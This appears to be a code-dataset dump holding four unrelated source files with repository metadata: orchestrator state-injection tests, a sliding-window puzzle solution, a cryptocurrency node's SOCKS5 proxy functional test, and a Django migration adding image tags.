step_existing(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = step_existing(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_inject_args_list(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def step_existing(generic_sub: List[GenericProduct]) -> State: assert len(generic_sub) == 1 assert generic_sub[0].subscription_id assert generic_sub[0].pb_1.rt_1 == "test" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = [generic_sub.subscription_id] state_amended = step_existing(state) assert "generic_sub" in state_amended assert len(state_amended["generic_sub"]) == 1 # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"][0], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"][0].pb_1.rt_1 is not None # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"][0].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_inject_args_optional(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def step_existing(generic_sub: Optional[GenericProduct]) -> State: assert generic_sub is not None, "Generic Sub IS NONE" assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" return {"generic_sub": generic_sub} with pytest.raises(AssertionError) as exc_info: step_existing(state) assert "Generic Sub IS NONE" in str(exc_info.value) # Put `light_path` as an UUID in. Entire `light_path` object would have worked as well, but this way we will be # certain that if we end up with an entire `light_path` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = step_existing(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 is not None # Test `nso_service_id` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_form_inject_args(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @form_inject_args def form_function(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" class Form(FormPage): pass _ = yield Form return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = post_process(form_function, state, [{}]) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_form_inject_args_simple(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @form_inject_args def form_function(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = form_function(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None
37.731788
117
0.72681
from typing import List, Optional from uuid import uuid4 import pytest from nwastdlib import const from orchestrator.domain.lifecycle import change_lifecycle from orchestrator.forms import FormPage, post_process from orchestrator.types import State, SubscriptionLifecycle from orchestrator.utils.state import extract, form_inject_args, inject_args STATE = {"one": 1, "two": 2, "three": 3, "four": 4} def test_extract(): one, two, three, four = extract(("one", "two", "three", "four"), STATE) assert one == 1 assert two == 2 assert three == 3 assert four == 4 four, three, two, one = extract(("four", "three", "two", "one"), STATE) assert one == 1 assert two == 2 assert three == 3 assert four == 4 nothing = extract((), STATE) assert len(nothing) == 0 def test_extract_key_error(): key = "I don't exist" with pytest.raises(KeyError) as excinfo: extract((key,), STATE) assert key in excinfo.value.args def test_state() -> None: @inject_args def step_func_ok(one): assert one == STATE["one"] return {"prefix_id": 42} new_state = step_func_ok(STATE) assert "prefix_id" in new_state assert new_state["prefix_id"] == 42 @inject_args def step_func_fail(i_am_not_in_the_state): return {} with pytest.raises(KeyError): step_func_fail(STATE) @inject_args def step_func_opt_arg(opt: Optional[str] = None) -> None: assert opt is None step_func_opt_arg(STATE) @inject_args def step_func_default(default="bla"): assert default == "bla" step_func_default(STATE) step_func_const = inject_args(const({})) step_func_const(STATE) @inject_args def step_func_state(state, one): assert state == STATE assert one == STATE["one"] step_func_state(STATE) @inject_args def step_func_empty(): pass step_func_state(STATE) def test_inject_args(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def step_existing(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = step_existing(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_inject_args_list(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def step_existing(generic_sub: List[GenericProduct]) -> State: assert len(generic_sub) == 1 assert generic_sub[0].subscription_id assert generic_sub[0].pb_1.rt_1 == "test" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = [generic_sub.subscription_id] state_amended = step_existing(state) assert "generic_sub" in state_amended assert len(state_amended["generic_sub"]) == 1 # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"][0], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"][0].pb_1.rt_1 is not None # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"][0].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_inject_args_optional(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def step_existing(generic_sub: Optional[GenericProduct]) -> State: assert generic_sub is not None, "Generic Sub IS NONE" assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" return {"generic_sub": generic_sub} with pytest.raises(AssertionError) as exc_info: step_existing(state) assert "Generic Sub IS NONE" in str(exc_info.value) # Put `light_path` as an UUID in. Entire `light_path` object would have worked as well, but this way we will be # certain that if we end up with an entire `light_path` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = step_existing(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 is not None # Test `nso_service_id` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_form_inject_args(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @form_inject_args def form_function(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" class Form(FormPage): pass _ = yield Form return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = post_process(form_function, state, [{}]) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None def test_form_inject_args_simple(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @form_inject_args def form_function(generic_sub: GenericProduct) -> State: assert generic_sub.subscription_id assert generic_sub.pb_1.rt_1 == "test" generic_sub.pb_1.rt_1 = "test string" return {"generic_sub": generic_sub} # Put `generic_sub` as an UUID in. Entire `generic_sub` object would have worked as well, but this way we will be # certain that if we end up with an entire `generic_sub` object in the step function, it will have been retrieved # from the database. state["generic_sub"] = generic_sub.subscription_id state_amended = form_function(state) assert "generic_sub" in state_amended # Do we now have an entire object instead of merely a UUID assert isinstance(state_amended["generic_sub"], GenericProduct) # And does it have the modifcations from the step functions assert state_amended["generic_sub"].pb_1.rt_1 == "test string" # Test `rt_1` has been persisted to the database with the modifications from the step function.` fresh_generic_sub = GenericProduct.from_subscription(state_amended["generic_sub"].subscription_id) assert fresh_generic_sub.pb_1.rt_1 is not None
true
true
f73d653ef65bad08ea7599fb8b916f48a269eeac
771
py
Python
Problemset/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof.py
worldwonderer/algorithm
083178b2d987de7f6020aceca869a353c0b4b1f3
[ "MIT" ]
1
2021-01-30T01:52:46.000Z
2021-01-30T01:52:46.000Z
Problemset/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof.py
worldwonderer/algorithm
083178b2d987de7f6020aceca869a353c0b4b1f3
[ "MIT" ]
1
2021-12-15T14:54:06.000Z
2021-12-15T14:54:06.000Z
Problemset/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof/he-wei-sde-lian-xu-zheng-shu-xu-lie-lcof.py
worldwonderer/algorithm
083178b2d987de7f6020aceca869a353c0b4b1f3
[ "MIT" ]
2
2021-04-19T03:32:18.000Z
2021-06-22T07:06:01.000Z
# @Title: 和为s的连续正数序列 (和为s的连续正数序列 LCOF) # @Author: 18015528893 # @Date: 2021-01-29 17:00:07 # @Runtime: 172 ms # @Memory: 14.9 MB from typing import List class Solution: def findContinuousSequence(self, target: int) -> List[List[int]]: left = 0 right = 0 window = 0 l = range(1, target//2+2) res = list() while right < len(l): c = l[right] right += 1 window += c while window >= target: if window == target: res.append(list(l[left:right])) d = l[left] left += 1 window -= d return res if __name__ == '__main__': s = Solution() print(s.findContinuousSequence(15))
20.837838
69
0.494163
from typing import List class Solution: def findContinuousSequence(self, target: int) -> List[List[int]]: left = 0 right = 0 window = 0 l = range(1, target//2+2) res = list() while right < len(l): c = l[right] right += 1 window += c while window >= target: if window == target: res.append(list(l[left:right])) d = l[left] left += 1 window -= d return res if __name__ == '__main__': s = Solution() print(s.findContinuousSequence(15))
true
true
f73d65448899b47be5da38b026548020692ca4aa
8,335
py
Python
test/functional/feature_proxy.py
VersessCTO/versesscoin
a60f468e97a78fe5bf410e07357dc280bcf7f954
[ "MIT" ]
3
2019-08-12T09:35:22.000Z
2019-11-13T03:11:28.000Z
test/functional/feature_proxy.py
VersessCTO/versesscoin
a60f468e97a78fe5bf410e07357dc280bcf7f954
[ "MIT" ]
null
null
null
test/functional/feature_proxy.py
VersessCTO/versesscoin
a60f468e97a78fe5bf410e07357dc280bcf7f954
[ "MIT" ]
1
2019-08-19T05:40:49.000Z
2019-08-19T05:40:49.000Z
#!/usr/bin/env python3 # Copyright (c) 2015-2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test bitcoind with different proxy configuration. Test plan: - Start versessd's with different proxy configurations - Use addnode to initiate connections - Verify that proxies are connected to, and the right connection command is given - Proxy configurations to test on versessd side: - `-proxy` (proxy everything) - `-onion` (proxy just onions) - `-proxyrandomize` Circuit randomization - Proxy configurations to test on proxy side, - support no authentication (other proxy) - support no authentication + user/pass authentication (Tor) - proxy on IPv6 - Create various proxies (as threads) - Create versessds that connect to them - Manipulate the versessds using addnode (onetry) an observe effects addnode connect to IPv4 addnode connect to IPv6 addnode connect to onion addnode connect to generic DNS name """ import socket import os from test_framework.socks5 import Socks5Configuration, Socks5Command, Socks5Server, AddressType from test_framework.test_framework import BitcoinTestFramework from test_framework.util import ( PORT_MIN, PORT_RANGE, assert_equal, ) from test_framework.netutil import test_ipv6_local RANGE_BEGIN = PORT_MIN + 2 * PORT_RANGE # Start after p2p and rpc ports class ProxyTest(BitcoinTestFramework): def set_test_params(self): self.num_nodes = 4 def setup_nodes(self): self.have_ipv6 = test_ipv6_local() # Create two proxies on different ports # ... one unauthenticated self.conf1 = Socks5Configuration() self.conf1.addr = ('127.0.0.1', RANGE_BEGIN + (os.getpid() % 1000)) self.conf1.unauth = True self.conf1.auth = False # ... one supporting authenticated and unauthenticated (Tor) self.conf2 = Socks5Configuration() self.conf2.addr = ('127.0.0.1', RANGE_BEGIN + 1000 + (os.getpid() % 1000)) self.conf2.unauth = True self.conf2.auth = True if self.have_ipv6: # ... one on IPv6 with similar configuration self.conf3 = Socks5Configuration() self.conf3.af = socket.AF_INET6 self.conf3.addr = ('::1', RANGE_BEGIN + 2000 + (os.getpid() % 1000)) self.conf3.unauth = True self.conf3.auth = True else: self.log.warning("Testing without local IPv6 support") self.serv1 = Socks5Server(self.conf1) self.serv1.start() self.serv2 = Socks5Server(self.conf2) self.serv2.start() if self.have_ipv6: self.serv3 = Socks5Server(self.conf3) self.serv3.start() # Note: proxies are not used to connect to local nodes # this is because the proxy to use is based on CService.GetNetwork(), which return NET_UNROUTABLE for localhost args = [ ['-listen', '-proxy=%s:%i' % (self.conf1.addr),'-proxyrandomize=1'], ['-listen', '-proxy=%s:%i' % (self.conf1.addr),'-onion=%s:%i' % (self.conf2.addr),'-proxyrandomize=0'], ['-listen', '-proxy=%s:%i' % (self.conf2.addr),'-proxyrandomize=1'], [] ] if self.have_ipv6: args[3] = ['-listen', '-proxy=[%s]:%i' % (self.conf3.addr),'-proxyrandomize=0', '-noonion'] self.add_nodes(self.num_nodes, extra_args=args) self.start_nodes() def node_test(self, node, proxies, auth, test_onion=True): rv = [] # Test: outgoing IPv4 connection through node node.addnode("15.61.23.23:1234", "onetry") cmd = proxies[0].queue.get() assert(isinstance(cmd, Socks5Command)) # Note: bitcoind's SOCKS5 implementation only sends atyp DOMAINNAME, even if connecting directly to IPv4/IPv6 assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"15.61.23.23") assert_equal(cmd.port, 1234) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) if self.have_ipv6: # Test: outgoing IPv6 connection through node node.addnode("[1233:3432:2434:2343:3234:2345:6546:4534]:5443", "onetry") cmd = proxies[1].queue.get() assert(isinstance(cmd, Socks5Command)) # Note: bitcoind's SOCKS5 implementation only sends atyp DOMAINNAME, even if connecting directly to IPv4/IPv6 assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"1233:3432:2434:2343:3234:2345:6546:4534") assert_equal(cmd.port, 5443) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) if test_onion: # Test: outgoing onion connection through node node.addnode("bitcoinostk4e4re.onion:8333", "onetry") cmd = proxies[2].queue.get() assert(isinstance(cmd, Socks5Command)) assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"bitcoinostk4e4re.onion") assert_equal(cmd.port, 8333) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) # Test: outgoing DNS name connection through node node.addnode("node.noumenon:8333", "onetry") cmd = proxies[3].queue.get() assert(isinstance(cmd, Socks5Command)) assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"node.noumenon") assert_equal(cmd.port, 8333) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) return rv def run_test(self): # basic -proxy self.node_test(self.nodes[0], [self.serv1, self.serv1, self.serv1, self.serv1], False) # -proxy plus -onion self.node_test(self.nodes[1], [self.serv1, self.serv1, self.serv2, self.serv1], False) # -proxy plus -onion, -proxyrandomize rv = self.node_test(self.nodes[2], [self.serv2, self.serv2, self.serv2, self.serv2], True) # Check that credentials as used for -proxyrandomize connections are unique credentials = set((x.username,x.password) for x in rv) assert_equal(len(credentials), len(rv)) if self.have_ipv6: # proxy on IPv6 localhost self.node_test(self.nodes[3], [self.serv3, self.serv3, self.serv3, self.serv3], False, False) def networks_dict(d): r = {} for x in d['networks']: r[x['name']] = x return r # test RPC getnetworkinfo n0 = networks_dict(self.nodes[0].getnetworkinfo()) for net in ['ipv4','ipv6','onion']: assert_equal(n0[net]['proxy'], '%s:%i' % (self.conf1.addr)) assert_equal(n0[net]['proxy_randomize_credentials'], True) assert_equal(n0['onion']['reachable'], True) n1 = networks_dict(self.nodes[1].getnetworkinfo()) for net in ['ipv4','ipv6']: assert_equal(n1[net]['proxy'], '%s:%i' % (self.conf1.addr)) assert_equal(n1[net]['proxy_randomize_credentials'], False) assert_equal(n1['onion']['proxy'], '%s:%i' % (self.conf2.addr)) assert_equal(n1['onion']['proxy_randomize_credentials'], False) assert_equal(n1['onion']['reachable'], True) n2 = networks_dict(self.nodes[2].getnetworkinfo()) for net in ['ipv4','ipv6','onion']: assert_equal(n2[net]['proxy'], '%s:%i' % (self.conf2.addr)) assert_equal(n2[net]['proxy_randomize_credentials'], True) assert_equal(n2['onion']['reachable'], True) if self.have_ipv6: n3 = networks_dict(self.nodes[3].getnetworkinfo()) for net in ['ipv4','ipv6']: assert_equal(n3[net]['proxy'], '[%s]:%i' % (self.conf3.addr)) assert_equal(n3[net]['proxy_randomize_credentials'], False) assert_equal(n3['onion']['reachable'], False) if __name__ == '__main__': ProxyTest().main()
41.262376
121
0.625675
import socket import os from test_framework.socks5 import Socks5Configuration, Socks5Command, Socks5Server, AddressType from test_framework.test_framework import BitcoinTestFramework from test_framework.util import ( PORT_MIN, PORT_RANGE, assert_equal, ) from test_framework.netutil import test_ipv6_local RANGE_BEGIN = PORT_MIN + 2 * PORT_RANGE class ProxyTest(BitcoinTestFramework): def set_test_params(self): self.num_nodes = 4 def setup_nodes(self): self.have_ipv6 = test_ipv6_local() self.conf1 = Socks5Configuration() self.conf1.addr = ('127.0.0.1', RANGE_BEGIN + (os.getpid() % 1000)) self.conf1.unauth = True self.conf1.auth = False self.conf2 = Socks5Configuration() self.conf2.addr = ('127.0.0.1', RANGE_BEGIN + 1000 + (os.getpid() % 1000)) self.conf2.unauth = True self.conf2.auth = True if self.have_ipv6: self.conf3 = Socks5Configuration() self.conf3.af = socket.AF_INET6 self.conf3.addr = ('::1', RANGE_BEGIN + 2000 + (os.getpid() % 1000)) self.conf3.unauth = True self.conf3.auth = True else: self.log.warning("Testing without local IPv6 support") self.serv1 = Socks5Server(self.conf1) self.serv1.start() self.serv2 = Socks5Server(self.conf2) self.serv2.start() if self.have_ipv6: self.serv3 = Socks5Server(self.conf3) self.serv3.start() args = [ ['-listen', '-proxy=%s:%i' % (self.conf1.addr),'-proxyrandomize=1'], ['-listen', '-proxy=%s:%i' % (self.conf1.addr),'-onion=%s:%i' % (self.conf2.addr),'-proxyrandomize=0'], ['-listen', '-proxy=%s:%i' % (self.conf2.addr),'-proxyrandomize=1'], [] ] if self.have_ipv6: args[3] = ['-listen', '-proxy=[%s]:%i' % (self.conf3.addr),'-proxyrandomize=0', '-noonion'] self.add_nodes(self.num_nodes, extra_args=args) self.start_nodes() def node_test(self, node, proxies, auth, test_onion=True): rv = [] node.addnode("15.61.23.23:1234", "onetry") cmd = proxies[0].queue.get() assert(isinstance(cmd, Socks5Command)) assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"15.61.23.23") assert_equal(cmd.port, 1234) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) if self.have_ipv6: # Test: outgoing IPv6 connection through node node.addnode("[1233:3432:2434:2343:3234:2345:6546:4534]:5443", "onetry") cmd = proxies[1].queue.get() assert(isinstance(cmd, Socks5Command)) # Note: bitcoind's SOCKS5 implementation only sends atyp DOMAINNAME, even if connecting directly to IPv4/IPv6 assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"1233:3432:2434:2343:3234:2345:6546:4534") assert_equal(cmd.port, 5443) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) if test_onion: node.addnode("bitcoinostk4e4re.onion:8333", "onetry") cmd = proxies[2].queue.get() assert(isinstance(cmd, Socks5Command)) assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"bitcoinostk4e4re.onion") assert_equal(cmd.port, 8333) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) node.addnode("node.noumenon:8333", "onetry") cmd = proxies[3].queue.get() assert(isinstance(cmd, Socks5Command)) assert_equal(cmd.atyp, AddressType.DOMAINNAME) assert_equal(cmd.addr, b"node.noumenon") assert_equal(cmd.port, 8333) if not auth: assert_equal(cmd.username, None) assert_equal(cmd.password, None) rv.append(cmd) return rv def run_test(self): self.node_test(self.nodes[0], [self.serv1, self.serv1, self.serv1, self.serv1], False) self.node_test(self.nodes[1], [self.serv1, self.serv1, self.serv2, self.serv1], False) rv = self.node_test(self.nodes[2], [self.serv2, self.serv2, self.serv2, self.serv2], True) credentials = set((x.username,x.password) for x in rv) assert_equal(len(credentials), len(rv)) if self.have_ipv6: self.node_test(self.nodes[3], [self.serv3, self.serv3, self.serv3, self.serv3], False, False) def networks_dict(d): r = {} for x in d['networks']: r[x['name']] = x return r n0 = networks_dict(self.nodes[0].getnetworkinfo()) for net in ['ipv4','ipv6','onion']: assert_equal(n0[net]['proxy'], '%s:%i' % (self.conf1.addr)) assert_equal(n0[net]['proxy_randomize_credentials'], True) assert_equal(n0['onion']['reachable'], True) n1 = networks_dict(self.nodes[1].getnetworkinfo()) for net in ['ipv4','ipv6']: assert_equal(n1[net]['proxy'], '%s:%i' % (self.conf1.addr)) assert_equal(n1[net]['proxy_randomize_credentials'], False) assert_equal(n1['onion']['proxy'], '%s:%i' % (self.conf2.addr)) assert_equal(n1['onion']['proxy_randomize_credentials'], False) assert_equal(n1['onion']['reachable'], True) n2 = networks_dict(self.nodes[2].getnetworkinfo()) for net in ['ipv4','ipv6','onion']: assert_equal(n2[net]['proxy'], '%s:%i' % (self.conf2.addr)) assert_equal(n2[net]['proxy_randomize_credentials'], True) assert_equal(n2['onion']['reachable'], True) if self.have_ipv6: n3 = networks_dict(self.nodes[3].getnetworkinfo()) for net in ['ipv4','ipv6']: assert_equal(n3[net]['proxy'], '[%s]:%i' % (self.conf3.addr)) assert_equal(n3[net]['proxy_randomize_credentials'], False) assert_equal(n3['onion']['reachable'], False) if __name__ == '__main__': ProxyTest().main()
true
true
f73d667e2b26289b1354411abf4adfbb54dec9e5
554
py
Python
instagram_clone/images/migrations/0003_image_tags.py
ItsNED/instagram-clone
5f8fc387a5e59adc98f980df75218247b344bd71
[ "MIT" ]
null
null
null
instagram_clone/images/migrations/0003_image_tags.py
ItsNED/instagram-clone
5f8fc387a5e59adc98f980df75218247b344bd71
[ "MIT" ]
10
2020-06-05T19:49:02.000Z
2022-02-26T13:11:21.000Z
instagram_clone/images/migrations/0003_image_tags.py
ItsNED/instagram-clone
5f8fc387a5e59adc98f980df75218247b344bd71
[ "MIT" ]
null
null
null
# Generated by Django 2.0.9 on 2018-10-28 15:38 from django.db import migrations import taggit.managers class Migration(migrations.Migration): dependencies = [ ('taggit', '0002_auto_20150616_2121'), ('images', '0002_auto_20181028_1656'), ] operations = [ migrations.AddField( model_name='image', name='tags', field=taggit.managers.TaggableManager(help_text='A comma-separated list of tags.', through='taggit.TaggedItem', to='taggit.Tag', verbose_name='Tags'), ), ]
26.380952
162
0.638989
